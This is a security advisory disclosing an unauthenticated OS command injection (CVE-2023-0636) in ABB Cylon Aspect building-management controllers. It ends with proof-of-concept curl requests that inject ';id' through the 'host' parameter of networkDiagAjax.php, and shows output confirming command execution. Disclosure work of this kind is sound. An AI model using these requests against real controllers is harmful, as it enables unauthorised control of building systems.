ABB Cylon Aspect 3.07.00 Remote Code Execution

ABB Cylon Aspect 3.07.00 (networkDiagAjax.php) Remote Code Execution

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.07.00

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an unauthenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the ‘host’ HTTP GET parameter called by networkDiagAjax.php
script.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel® Atom™ Processor E3930 @ 1.30GHz
Intel® Xeon® Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic (2024) and Prism Infosec (2022)
@zeroscience

Advisory ID: ZSL-2024-5829
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5829.php
CVE ID: CVE-2023-0636
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-0636

21.04.2024

–

$ cat project

             P   R   O   J   E   C   T

                    .|  
                    | |  
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 .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
 |' | |.    |    ||       | |   |  |    ||      |  

____| '-' ' “” '-' '-.’ '` |____
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░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

                                                                                                           $ curl http://192.168.73.31/networkDiagAjax.php?command=traceroute&host=;id  

$ curl http://192.168.73.31/networkDiagAjax.php?command=nslookup&host=;id
$ curl http://192.168.73.31/networkDiagAjax.php?command=ping&host=;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)